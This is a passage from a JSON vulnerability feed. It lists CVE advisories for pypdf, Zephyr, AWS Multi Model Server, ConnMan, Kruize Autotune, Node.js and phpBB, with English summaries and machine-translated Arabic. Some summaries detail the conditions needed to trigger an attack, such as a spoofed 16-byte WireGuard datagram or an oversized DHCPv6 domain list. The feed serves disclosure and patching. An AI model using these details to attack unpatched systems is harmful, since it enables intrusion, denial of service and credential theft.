6.21.2."},"refs":[["https://github.com/py-pdf/pypdf/commit/68a0e5046cc9e14a6c24a21a713f3c7fbde18b4b","ref"],["https://github.com/py-pdf/pypdf/pull/4240","ref"],["https://github.com/py-pdf/pypdf/releases/tag/6.21.2","ref"],["https://github.com/py-pdf/pypdf/security/advisories/GHSA-jr96-gvgh-j3r4","ref"]],"epss":0.0041,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"py-pdf-pypdf"},{"id":"CVE-2026-115572","cvss":7.1,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","cwe":"CWE-400","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-23T20:17:20Z","product":"py-pdf pypdf","affected":[],"title":{"en":"pypdf: Possible long runtimes for repeated references to the same missing object","ar":"مكتبة pypdf: احتمالية حدوث أوقات تشغيل طويلة للمراجع المتكررة لنفس الكائن المفقود"},"summary":{"en":"pypdf is a free and open-source pure-python PDF library. Prior to 6.21.2, an attacker can craft a PDF that repeatedly references the same nonexistent indirect object, causing relevant file parts such as pages to trigger repeated full-file recovery loads and long runtimes when accessed. This issue is fixed in version 6.21.2.","ar":"مكتبة pypdf هي مكتبة PDF مكتوبة بلغة بايثون ومجانية ومفتوحة المصدر. قبل الإصدار 6.21.2، يمكن للمهاجم صياغة ملف PDF يشير بشكل متكرر إلى نفس الكائن غير المباشر غير الموجود، مما يتسبب في قيام أجزاء الملف ذات الصلة مثل الصفحات بتحفيز عمليات تحميل استرداد كاملة للملف بشكل متكرر وأوقات تشغيل طويلة عند الوصول إليه. تم إصلاح هذه المشكلة في الإصدار 6.21.2."},"refs":[["https://github.com/py-pdf/pypdf/commit/68a0e5046cc9e14a6c24a21a713f3c7fbde18b4b","ref"],["https://github.com/py-pdf/pypdf/pull/4240","ref"],["https://github.com/py-pdf/pypdf/releases/tag/6.21.2","ref"],["https://github.com/py-pdf/pypdf/security/advisories/GHSA-6c7f-9265-g8fw","ref"]],"epss":0.0038,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"py-pdf-pypdf"},{"id":"CVE-2026-79982","cvss":8.8,"vector":"CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-787","tags":["RCE"],"zero":false,"exploited":false,"status":"patched","published":"2026-10-23T19:56:19Z","product":"zephyrproject zephyr","affected":[["3.3.0 – 4.4.2",null]],"title":{"en":"Out-of-bounds write in the USB Bluetooth HCI transport class when a controller-to-host HCI packet exceeds the bulk endpoint maximum packet size","ar":"كتابة خارج الحدود في فئة نقل USB Bluetooth HCI عندما تتجاوز حزمة HCI من وحدة التحكم إلى المضيف الحد الأقصى لحجم الحزمة لنقطة النهاية الجماعية"},"summary":{"en":"The Bluetooth HCI USB transport class of the new USB device stack, subsys/usb/device_next/class/bt_hci.c, copies every controller-to-host HCI packet into a USB transfer buffer before enqueuing it on an endpoint. bt_hci_tx_sync_in() allocated that buffer from bt_hci_ep_pool, a fixed pool whose slots are only USBD_MAX_BULK_MPS bytes (64 on full-speed-only builds), and then performed net_buf_add_mem(buf, bt_buf->data, bt_buf->len) with no length check. HCI event and ACL buffers are sized by CONFIG_BT_BUF_EVT_RX_SIZE and CONFIG_BT_BUF_ACL_RX_SIZE and can be far larger, so the copy runs past the end of the 64-byte slot into the adjacent slots and into whatever follows the statically allocated pool. The device runs the local Bluetooth controller in raw HCI mode (CONFIG_BT_HCI_RAW), so the oversized packets originate over the air. With the HCI buffer sizes recommended for full-featured controllers, an unauthenticated attacker within Bluetooth range can supply the overflowing bytes: a connected peer that negotiates Data Length Extension can send ACL fragments up to CONFIG_BT_CTLR_DATA_LENGTH_MAX bytes, and an attacker that merely broadcasts extended advertising data reaches the same path through LE Extended Advertising Report events, which the controller fragments only to CONFIG_BT_BUF_EVT_RX_SIZE. In the stock configuration the overflow is already reached without any radio traffic: the mandatory Read Supported Commands command-complete event is 70 bytes and overruns the 64-byte slot by six bytes on every host initialization. Because net_buf_add_mem() validates tailroom only through an assertion unless CONFIG_NET_BUF_HARDENING is enabled, builds with CONFIG_ASSERT=n — the usual production setting — silently corrupt memory adjacent to the USB buffer pool with attacker-chosen contents, which on a target without memory protection between subsystems can lead to arbitrary code execution. Builds with assertions enabled fail the assertion instead and panic, giving a remotely trig…","ar":"تقوم فئة نقل Bluetooth HCI USB في حزمة أجهزة USB الجديدة subsys/usb/device_next/class/bt_hci.c بنسخ كل حزمة HCI من وحدة التحكم إلى المضيف في مخزن نقل USB مؤقت قبل وضعها في طابور نقطة النهاية. قام bt_hci_tx_sync_in() بتخصيص هذا المخزن المؤقت من bt_hci_ep_pool، وهو مخزن مؤقت ثابت فتحاته بحجم USBD_MAX_BULK_MPS بايت فقط (64 بايت في الإنشاءات المخصصة للسرعة الكاملة فقط)، ثم أجرى عملية net_buf_add_mem(buf, bt_buf->data, bt_buf->len) دون أي تحقق من الطول. يتم تحديد حجم مخازن أحداث HCI و ACL بواسطة CONFIG_BT_BUF_EVT_RX_SIZE و CONFIG_BT_BUF_ACL_RX_SIZE ويمكن أن تكون أكبر بكثير، لذا فإن النسخ يتجاوز نهاية الفتحة ذات الـ 64 بايت إلى الفتحات المجاورة وما يلي المخزن المؤقت المخصص بشكل ثابت. يقوم الجهاز بتشغيل وحدة تحكم بلوتوث المحلية في وضع HCI الخام (CONFIG_BT_HCI_RAW)، لذا تنشأ الحزم كبيرة الحجم عبر الهواء. مع أحجام مخازن HCI الموصى بها لوحدة التحكم كاملة الميزات، يمكن لمهاجم دون مصادقة ضمن نطاق بلوتوث توفير البايطات التي تتسبب في الفيضان: يمكن لنظ متصل يتفاوض على امتداد طول البيانات إرسال أجزاء ACL تصل إلى CONFIG_BT_CTLR_DATA_LENGTH_MAX بايت، والمهاجم الذي يقوم فقط بث بيانات الإعلان الموسعة يصل إلى نفس المسار من خلال أحداث تقرير إعلان LE الموسع، والتي تقسمها وحدة التحكم فقط حتى CONFIG_BT_BUF_EVT_RX_SIZE. في الإعداد الافتراضي، يتم الوصول إلى الفيضان بالفعل دون أي حركة مرور لاسلكية: حدث اكتمال أمر قراءة الأوامر المدعومة الإلزامي هو 70 بايت ويتجاوز الفتحة ذات الـ 64 بايت بستة بايتات في كل عملية تهيئة للمضيف. نظرًا لأن net_buf_add_mem() يتحقق من صحة المساحة المتبقية من خلال تأكيد فقط ما لم يتم تمكين CONFIG_NET_BUF_HARDENING، فإن الإنشاءات التي تحتوي على CONFIG_ASSERT=n -وهو إعداد الإنتاج المعتاد- تقوم بصمت بإفساد الذاكرة المجاورة لمخزن USB المؤقت بمحتويات يختارها المهاجم، مما قد يؤدي على هدف بدون حماية الذاكرة بين الأنظمة الفرعية إلى تنفيذ أوامر عن بُعد. الإنشاءات التي تحتوي على تأكيدات ممكّنة تفشل في التأكيد وتتعطل، مما يعطي..."},"refs":[["https://github.com/zephyrproject-rtos/zephyr/commit/0419defd2391652edc27689d206fcd9c48439d4a","patch"],["https://github.com/zephyrproject-rtos/zephyr/security/advisories/GHSA-w5px-w97v-c3hj","ref"]],"epss":0.0023,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"zephyrproject-zephyr"},{"id":"CVE-2026-79979","cvss":7.8,"vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H","cwe":"CWE-416","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-23T19:56:16Z","product":"zephyrproject zephyr","affected":[["4.3.0 – <4.5.0","4.5.0"]],"title":{"en":"Stale TLB entries after demand-paging page-out let arm64 user threads access reused physical frames","ar":"إدخالات TLB قديمة بعد إخراج الصفحات بالطلب تسمح لخيوط المستخدم في arm64 بالوصول إلى إطارات مادية مُعاد استخدامها"},"summary":{"en":"The arm64 MMU backend invalidates a single virtual address from the TLB with invalidate_tlb_page() in arch/arm64/core/mmu.c, which issued TLBI VAE1{IS} with an operand of virt >> 12. That operand encodes the ASID in bits [63:48], so the invalidation only ever matched ASID 0 (the kernel page tables) and global entries. Memory domains, however, are allocated ASIDs starting at 1 in arch_mem_domain_init(), and every domain-private leaf created by private_map() is mapped with MT_NG, i.e. non-global. A domain's cached translation therefore survived the invalidation. All callers of invalidate_tlb_page() are demand-paging paths. When the eviction algorithm reclaims a frame, page_frame_prepare_locked() in kernel/mmu.c calls arch_mem_page_out(), which marks the kernel leaf invalid, propagates the invalid descriptor into every domain via sync_domains(), and then flushes only ASID 0. do_page_fault() immediately reuses the very same page frame for the incoming mapping through arch_mem_page_in(). A user thread that had already touched the evicted page — a k_mem_partition added with arch_mem_domain_partition_add(), or its own stack mapped by map_thread_stack() — retains a valid EL0 read/write translation to that physical frame under its own ASID. Unprivileged code running in a user thread can drive memory pressure to force eviction and then keep accessing the stale address, obtaining read and write access to whatever the kernel subsequently placed in that frame: supervisor data, another memory domain's partition, or another thread's stack. This defeats the isolation that CONFIG_USERSPACE is meant to enforce, allowing information disclosure and memory corruption up to full compromise of the system. The fix switches the implementation to TLBI VAAE1{IS}, which matches every ASID and both global and non-global entries, so no domain-tagged translation survives a page out, dirty-bit update or access-flag clear. Exploitation requires an arm64 build with both CONFIG_USERSPACE and CONFIG_…","ar":"يقوم نظام إدارة الذاكرة في arm64 بإبطال عنوان افتراضي واحد من التحويلات عبر الدالة invalidate_tlb_page() في الملف arch/arm64/core/mmu.c، مما يُصدر أمر TLBI VAE1{IS} بمعامل من النوع virt >> 12. يقوم هذا المعامل بترميز معرف النطاق ASID في البتات [63:48]، لذا فإن عملية الإبطال تطابق دائماً المعرف ASID 0 (جداول صفحات النواة) والإدخالات العامة فقط. ومع ذلك، يتم تخصيص معرفات النطاق ASID بدءاً من الرقم 1 في الدالة arch_mem_domain_init()، وكل ورقة خاصة بالنطاق يتم إنشاؤها بواسطة private_map() يتم تعيينها بـ MT_NG أي أنها غير عامة. ونتيجة لذلك، فإن الترجمة المخزنة مؤقتاً للنطاق تنجو من عملية الإبطال. جميع المستدعين للدالة invalidate_tlb_page() يمثلون مسارات طلب الصفحات. عندما تقوم خوارزمية الإخلاء باستعادة إطار ما، تستدعي الدالة page_frame_prepare_locked() في الملف kernel/mmu.c الدالة arch_mem_page_out()، والتي تحدد أن ورقة النواة غير صالحة، وتنقُل الوصف غير الصالح إلى كل نطاق عبر sync_domains()، ثم تقوم بمسح المعرف ASID 0 فقط. تقوم الدالة do_page_fault() فوراً بإعادة استخدام نفس إطار الصفحة للتعيين القادم من خلال الدالة arch_mem_page_in(). الخيط التابع للمستخدم الذي قام مسبقاً بلمس الصفحة المُخلات — مثل قسم k_mem_partition المضاف بواسطة arch_mem_domain_partition_add()، أو مكدس خاص به تم تعيينه بواسطة map_thread_stack() — يحتفظ بترجمة قراءة وكتابة صالحة لبرنامج المستوى EL0 لذلك الإطار المادي تحت معرف ASID الخاص به. يمكن للشيفرة غير الممتازة التي تعمل في خيط مستخدم فرض ضغط على الذاكرة لإجبار الإخلاء ثم الاستمرار في الوصول إلى العنوان القديم، مما يتيح الوصول للقراءة والكتابة إلى أي شيء تضعه النواة لاحقاً في هذا الإطار: بيانات المشرف، أو قسم نطاق ذاكرة آخر، أو مكدس خيط آخر. هذا يُبطل العزل الذيفُترض أن تفرضه تعليمة CONFIG_USERSPACE، مما يسمح بالكشف عن المعلومات وفساد الذاكرة وصولاً إلى الاختراق الكامل للنظام. يتحول الإصلاح إلى استخدام التنفيذ TLBI VAAE1{IS}، والذي يطابق كل معرف ASID والإدخالات العامة وغير العامة معاً، بحيث لا تنجو أي ترجمة مُوسومة بنطاق من عملية إخراج الصفحة، أو تحديث بت التغيير، أو مسح علم الوصول. يتطلب الاستغلال بناء إصدار لـ arm64 مع تفعيل كل من CONFIG_USERSPACE وCONFIG_…"},"refs":[["https://github.com/zephyrproject-rtos/zephyr/commit/d732e9f808f16911d06769b3f756246f3528669f","patch"],["https://github.com/zephyrproject-rtos/zephyr/security/advisories/GHSA-6pqm-hfxf-48qv","ref"]],"epss":0.001,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"zephyrproject-zephyr"},{"id":"CVE-2026-79977","cvss":8.2,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:H","cwe":"CWE-306","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-23T19:56:13Z","product":"zephyrproject zephyr","affected":[["4.4.0 – 4.4.2",null]],"title":{"en":"WireGuard peer endpoint learned from unauthenticated transport-data messages allows off-path tunnel hijack in Zephyr","ar":"نقطة نهاية نظير WireGuard المُكتسبة من رسائل بيانات النقل غير المُصادق عليها تسمح بعملية اختطاف نفق من خارج المسار في Zephyr"},"summary":{"en":"The WireGuard VPN service in subsys/net/lib/wireguard/wg.c updated the peer endpoint from a message it could not authenticate. In handle_transport_data(), when the 32-bit receiver index of an incoming transport-data message matched no session, the code both scheduled a new handshake and copied the datagram's source address into peer->endpoint with memcpy(&peer->endpoint, peer_addr, sizeof(peer->endpoint)). Because the receiver index is unknown, there is no key with which such a message could be verified, so the address written into peer->endpoint is entirely attacker-supplied. Every other endpoint update in the implementation happens only after authentication — after the Noise handshake in handle_handshake_init(), or after AEAD decryption plus the anti-replay check in wg_process_data_message(). The WireGuard listener is registered with net_udp_register() using no remote address or port filter and defaults to UDP port 51820 (CONFIG_WIREGUARD_PORT), and wg_ctrl_recv() resolves the peer by interface rather than by any cryptographic identity. Any host able to send a UDP datagram to that port can therefore reach the defect off-path, with no need to observe legitimate traffic: a 16-byte datagram carrying the transport-data type, zeroed reserved bytes and an arbitrary receiver index is sufficient. The vulnerable branch runs whenever the peer has neither a valid handshake nor a current keypair — the state at boot and after a session expires. A single spoofed datagram redirects peer->endpoint to an address of the attacker's choosing, and all subsequent handshake initiations, keepalives and encrypted data packets are sent there. The legitimate peer never receives the initiations and so never re-authenticates, and nothing resets the endpoint afterwards, leaving the tunnel persistently unusable on devices whose peer does not initiate handshakes itself. The attacker can also relay the redirected initiations to the real peer to place itself in the path of the tunnel, observing c…","ar":"تقوم خدمة VPN WireGuard في الملف subsys/net/lib/wireguard/wg.c بتحديث نقطة نهاية النظير من رسالة لا يمكنها مصادقتها. في الدالة handle_transport_data()، عندما لا يطابق فهرس المستقبل بـ 32-بت لرسالة بيانات نقل واردة أي جلسة، يقوم الكود بجدولة مصافحة جديدة ونسخ عنوان المصدر الخاص بمخطط البيانات إلى peer->endpoint باستخدام memcpy(&peer->endpoint, peer_addr, sizeof(peer->endpoint)). نظراً لأن فهرس المستقبل مجهول، فلا يوجد مفتاح يمكن من خلاله التحقق من مثل هذه الرسالة، وبالتالي فإن العنوان المكتوب في peer->endpoint مقدم بالكامل من قِبل المهاجم. كل تحديث آخر لنقطة النهاية في التنفيذ يحدث فقط بعد المصادقة - بعد مصافحة Noise في الدالة handle_handshake_init()، أو بعد فك تشفير AEAD بالإضافة إلى فحص منع إعادة التشغيل في الدالة wg_process_data_message(). يتم تسجيل مستمع WireGuard باستخدام net_udp_register() بدون عنوان عن بُعد أو مرشح منفذ وافتراضياً على منفذ UDP رقم 51820 (CONFIG_WIREGUARD_PORT)، وتقوم الدالة wg_ctrl_recv() بتحليل النظير بواسطة الواجهة بدلاً من أي هوية تشفيرية. يمكن لأي مضيف قادر على إرسال مخطط بيانات UDP إلى هذا المنفذ الوصول إلى الخلل من خارج المسار، دون الحاجة إلى مراقبة حركة المرور المشروعة: مخطط بيانات بحجم 16 بايت يحمل نوع بيانات النقل، وبايتات محجوزة مصفرة، وفهرس مستقبل عشوائي يعد كافياً. يتم تشغيل الفرع المصاب كلما لم يكن لدى النظير مصافحة صالحة ولا زوج مفاتيح حالي - وهي الحالة عند الإقلاع وبعد انتهاء صلاحية الجلسة. يؤدي مخطط بيانات زائف واحد إلى إعادة توجيه peer->endpoint إلى عنوان من اختيار المهاجم، ويتم إرسال جميع عمليات بدء المصافحة اللاحقة، والحزم الحية، وحزم البيانات المشفرة إلى هناك. لا يتلقى النظير الشرعي أبداً عمليات البدء وبالتالي لا يتم إعادة مصادقته أبداً، ولا يعيد أي شيء تعيين نقطة النهاية بعد ذلك، مما يترك النفق غير صالح للاستخدام بشكل دائم على الأجهزة التي لا يبدأ نظيرها المصافحات بنفسه. يمكن للمهاجم أيضاً إعادة توجيه عمليات البدء المُعاد توجيهها إلى النظير الحقيقي ليضع نفسه في مسار النفق ومراقبة..."},"refs":[["https://github.com/zephyrproject-rtos/zephyr/commit/cbaaf3e9dbe08be21f01bd23142e1ffe91fd4db6","patch"],["https://github.com/zephyrproject-rtos/zephyr/security/advisories/GHSA-w8h4-r8m3-rf5j","ref"]],"epss":0.002,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"zephyrproject-zephyr"},{"id":"CVE-2026-115812","cvss":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-23","tags":["Cloud"],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-23T18:17:21Z","product":"AWS multi-model-server","affected":[["0 – 1.1.11",null]],"title":{"en":"Relative path traversal during model archive extraction in Amazon Web Services Multi Model Server","ar":"تجاوز مسار نسبي أثناء استخراج أرشيف النموذج في خادم Amazon Web Services Multi Model Server"},"summary":{"en":"Relative path traversal during model archive extraction in Amazon Web Services Multi Model Server 1.1.11 and earlier might allow remote actors to execute arbitrary code via a crafted model archive. Multi Model Server is end of life and no fixed version is available. Users should discontinue use of Multi Model Server and migrate to a supported model serving solution.","ar":"قد يسمح تجاوز المسار النسبي أثناء استخراج أرشيف النموذج في إصدارات خادم Amazon Web Services Multi Model Server 1.1.11 وما قبلها للممثلين عن بُعد بتنفيذ أوامر عن بُعد عبر أرشيف نموذج مصمم خصيصاً. وصل خادم Multi Model Server إلى نهاية عمره الافتراضي ولا يتوفر أي إصدار مُصحَّح. يجب على الجهات المعنية التوقف عن استخدام خادم Multi Model Server والانتقال إلى حل مدعوم لخدمة النماذج."},"refs":[["https://aws.amazon.com/security/security-bulletins/2026-148-aws/","advisory"]],"epss":0.0053,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"توقف عن استخدام Multi Model Server وانتقل إلى حل مدعوم لخدمة النماذج.","machineTranslated":true,"productSlug":"aws-multi-model-server"},{"id":"CVE-2026-115863","cvss":7.6,"vector":"CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:H","cwe":"CWE-121","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-23T18:17:21Z","product":"ConnMan ConnMan","affected":[["0 – 2.0",null]],"title":{"en":"ConnMan through 2.0 has a stack-based buffer overflow via a DHCPv6 Reply message.","ar":"ConnMan حتى الإصدار 2.0 مصاب بفيضان المخزن المؤقت القائم على المكدس عبر رسالة رد DHCPv6 Reply"},"summary":{"en":"ConnMan through 2.0 has a stack-based buffer overflow via a DHCPv6 Reply message. This occurs in get_domains in gdhcp/client.c. It copies a fixed NS_MAXDNAME (1025) bytes from a DHCPv6 DOMAIN_LIST (option 24) value into a 1026-byte stack buffer dns_name regardless of the actual option length, then walks DNS labels with an unbounded \"c += jump + 1\" loop. A crafted DHCPv6 REPLY with a DOMAIN_LIST option of >= 1025 non-zero bytes makes the label walk leave the buffer and read/write '.' past its end in attacker-chosen strides. An on-link attacker can trigger this without authentication via a forged Router Advertisement (O=1) and a forged DHCPv6 REPLY matching xid/CLIENTID with a long DOMAIN_LIST. The impact is unauthenticated on-link crash of connmand (runs as root). This was introduced in bb06c47.","ar":"ConnMan حتى الإصدار 2.0 مصاب بفيضان المخزن المؤقت القائم على المكدس عبر رسالة رد DHCPv6 Reply. يحدث هذا في الدالة get_domains داخل gdhcp/client.c. يقوم بنسخ عدد ثابت من البايتات قدره NS_MAXDNAME (1025) من قيمة خيار DHCPv6 DOMAIN_LIST (الخيار 24) إلى مخزن مؤقت مكدس بحجم 1026 بايت باسم dns_name بغض النظر عن طول الخيار الفعلي، ثم يتجول عبر تصنيفات DNS باستخدام حلقة غير محدودة \"c += jump + 1\". رسالة رد DHCPv6 مُصمَّمة خصيصًا تحتوي على خيار DOMAIN_LIST بحجم >= 1025 بايت غير صفري تجعل عملية التوالف تخرج من المخزن المؤقت وتقرأ/تكتب الحرف '.' بعد نهايته بخواتم يحددها المهاجم. يمكن لمهاجم متصل بالشبكة المحلية (on-link) تشغيل هذا دون مصادقة عبر إعلان موجه مُزوَّر (O=1) ورسالة رد DHCPv6 مُزوَّرة تتطابق مع xid/CLIENTID وتتضمن قائمة DOMAIN_LIST طويلة. التأثير هو تعطل غير مصحوب بمصادقة لخدمة connmand (تعمل بصلاحيات الجذر) على الشبكة المحلية. تم إدخال هذا في الالتزام bb06c47."},"refs":[["https://lore.kernel.org/connman/179274561161.81299.4579745057858200074@pm.me/","advisory"],["https://git.kernel.org/pub/scm/network/connman/connman.git/commit/?id=bb06c47101ca243fa5c04fb4b03fe2a12420d280","ref"],["https://git.kernel.org/pub/scm/network/connman/connman.git/tree/gdhcp/client.c","ref"]],"epss":0.003,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"connman"},{"id":"CVE-2026-110975","cvss":7.4,"vector":"CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N","cwe":"CWE-256","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-23T18:17:20Z","product":"Unknown product","affected":[["0 – <0.11.2","0.11.2"]],"title":{"en":"Autotune: kruize/autotune: kruize/autotune: datasources credential disclosure","ar":"Autotune: kruize/autotune: kruize/autotune: كشف بيانات اعتماد مصادر البيانات"},"summary":{"en":"A flaw was found in Kruize Autotune. Its REST API ships without an authentication layer, and the endpoints that return datasource configuration — the list-datasources endpoint (GET /datasources) and the datasource-metadata endpoint — serialized datasource objects using a default Gson configuration with no field-exclusion strategy. As a result, the authentication secrets stored for each configured monitoring datasource (basic-auth passwords, bearer tokens, API keys, and OAuth2 client secrets) were returned in cleartext to any client able to reach the service. An attacker with network access to Autotune could harvest these credentials and reuse them to authenticate to the backing monitoring stack.","ar":"تم اكتشاف ثغرة في Kruize Autotune. تأتي واجهة برمجة التطبيقات REST الخاصة بها بدون طبقة مصادقة، وتقوم نقاط النهاية التي تعيد تكوين مصادر البيانات (نقطة نهاية list-datasources عبر GET /datasources ونقطة نهاية datasource-metadata) بتسلسل كائنات مصادر البيانات باستخدام تكوين Gson افتراضي بلا استراتيجية استبعاد للحقول. ونتيجة لذلك، يتم إرجاع أسرار المصادقة المخزنة لكل مصدر بيانات مراقبة مُكوّن (كلمات مرور المصادقة الأساسية، ورموز التوثيق، ومفاتيح API، وأسرار عملاء OAuth2) بنص واضح إلى أي عميل قادر على الوصول إلى الخدمة. يمكن لمهاجم يملك شبكة وصول إلى Autotune حصاد بيانات الاعتماد هذه وإعادة استخدامها للمصادقة على حزمة المراقبة الداعمة."},"refs":[["https://access.redhat.com/security/cve/CVE-2026-110975","ref"],["https://bugzilla.redhat.com/show_bug.cgi?id=2512012","ref"],["https://github.com/kruize/autotune/commit/e81cc9bc32514bba403d020506f15d60b1723111","ref"],["https://github.com/kruize/autotune/pull/2038","ref"]],"epss":0.0025,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":null},{"id":"CVE-2026-106069","cvss":7.4,"vector":"CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N","cwe":"CWE-295","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-23T17:17:19Z","product":"nodejs node","affected":[["22.23.3 – 22.23.3",null],["24.22.0 – 24.22.0",null],["26.12.0 – 26.12.0",null]],"title":{"en":"A flaw in Node.js TLS hostname verification can cause a server certificate to be validated against a different IP address than the one the client conn","ar":"خلل في التحقق من اسم مضيف TLS في Node.js قد يتسبب في التحقق من صحة شهادة الخادم مقابل عنوان IP مختلف عن الذي اتصل به العميل"},"summary":{"en":"A flaw in Node.js TLS hostname verification can cause a server certificate to be validated against a different IP address than the one the client connected to, when the host is a non-canonical IPv4 literal with a leading zero, such as `0127.0.0.1`. `tls.checkServerIdentity()` normalizes the host following the WHATWG URL rules, which read a leading-zero octet as octal (`0127.0.0.1` becomes `87.0.0.1`), while the connection is made through the operating system resolver, which on some platforms such as macOS reads it as decimal (`127.0.0.1`). A server at the connected address can then be authenticated with a certificate issued for another IP address. This vulnerability affects Node.js **26.x**, **24.x**, and **22.x**.","ar":"قد يتسبب خلل في التحقق من اسم مضيف TLS في Node.js في التحقق من صحة شهادة الخادم مقابل عنوان IP مختلف عن الذي اتصل به العميل، عندما يكون المضيف حرفياً غير قانوني لعنوان IPv4 يبدأ بصفر، مثل `0127.0.0.1`. تقوم الدالة `tls.checkServerIdentity()` بتطبيع المضيف وفقاً لقواعد عنوان URL لـ WHATWG، والتي تقرأ ثمانية أولية ذات بادئة صفرية (`0127.0.0.1` تصبح `87.0.0.1`)، بينما يتم إجراء الاتصال عبر محلل نظام التشغيل، والذي على بعض الأنظمة مثل macOS يقرأه كعشرى (`127.0.0.1`). يمكن بعد ذلك المصادقة على خادم على العنوان المتصل بشهادة صادرة لعنوان IP آخر. تؤثر هذه الثغرة على إصدارات Node.js **26.x** و**24.x** و**22.x**."},"refs":[["https://nodejs.org/en/blog/vulnerability/october-2026-security-releases","ref"]],"epss":0.003,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"nodejs-node"},{"id":"CVE-2026-105483","cvss":7.4,"vector":"CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N","cwe":"CWE-295","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-23T16:15:05Z","product":"nodejs node","affected":[["24.22.0 – 24.22.0",null],["26.12.0 – 26.12.0",null]],"title":{"en":"A flaw in Node.js TLS hostname verification allows a certificate without a matching IP address SAN to authenticate a connection to an IPv4 address whe","ar":"خلل في التحقق من اسم مضيف TLS في Node.js يتيح لشهادة بدون اسم بديل موضوع (SAN) لعنوان IP مطابق مصادقة الاتصال بعنوان IPv4 عندما"},"summary":{"en":"A flaw in Node.js TLS hostname verification allows a certificate without a matching IP address SAN to authenticate a connection to an IPv4 address when the host is written with non-ASCII characters, such as fullwidth digits (`１２７.0.0.1`). `tls.checkServerIdentity()` did not recognize such hosts as IP addresses, even though they normalize and resolve to a regular IPv4 address, and matched them against the certificate DNS names and Common Name instead. A certificate containing `DNS:127.0.0.1` or `DNS:*.0.0.1` could therefore be accepted for an IP endpoint it was not issued for. This is a regression introduced after the fix for CVE-2026-48618. This vulnerability affects Node.js **26.x** and **24.x**.","ar":"يسمح خلل في التحقق من اسم مضيف TLS في Node.js لشهادة بدون عنوان IP مطابق SAN بمصادقة الاتصال بعنوان IPv4 عندما يتم كتابة المضيف بحروف غير ASCII، مثل الأرقام واسعة النطاق (`１２７.0.0.1`). لم تتعرف الدالة `tls.checkServerIdentity()` على مثل هذه المضيفات كعناوين IP، على الرغم من أنها تقوم بالتطبيع والحل إلى عنوان IPv4 عادي، وقامت بمطابقتها مقابل أسماء DNS للشهادة والاسم الشائع بدلاً من ذلك. ونتيجة لذلك، يمكن قبول شهادة تحتوي على `DNS:127.0.0.1` أو `DNS:*.0.0.1` لنقطة نهاية IP لم يتم إصدارها لها. هذا تراجع تم إدخاله بعد الإصلاح الخاص بـ CVE-2026-48618. تؤثر هذه الثغرة على Node.js الإصدارات **26.x** و **24.x**."},"refs":[["https://nodejs.org/en/blog/vulnerability/october-2026-security-releases","ref"]],"epss":0.003,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"nodejs-node"},{"id":"CVE-2026-87901","cvss":8.3,"vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:L","cwe":"CWE-79","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-23T16:15:05Z","product":"phpBB phpBB","affected":[["3.3.0 – 3.3.18",null]],"title":{"en":"Improper sanitization in the registration module allows reflected Cross-Site Scripting.","ar":"التعقيم غير السليم في وحدة التسجيل يتيح هجمات البرمجة النصية عبر المواقع (XSS) المنعكسة."},"summary":{"en":"Improper sanitization in the registration module allows reflected Cross-Site Scripting.","ar":"التعقيم غير السليم في وحدة التسجيل يتيح هجمات البرمجة النصية عبر المواقع (XSS) المنعكسة."},"refs":[["https://www.phpbb.com/community/viewtopic.php?t=2675305","ref"]],"epss":0.0032,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"phpbb"},{"id":"CVE-2026-105482","cvss":7.4,"vector":"CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N","cwe":"CWE-284","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-23T16:15:05Z","product":"nodejs node","affected":[["22.23.3 – 22.23.3",null],["24.22.0 – 24.22.0",null],["26.12.0 – 26.12.0",null]],"title":{"en":"A flaw in Node.js DNS resolution allows hostnames containing a NUL byte to be silently truncated by the dns.resolve*() functions and 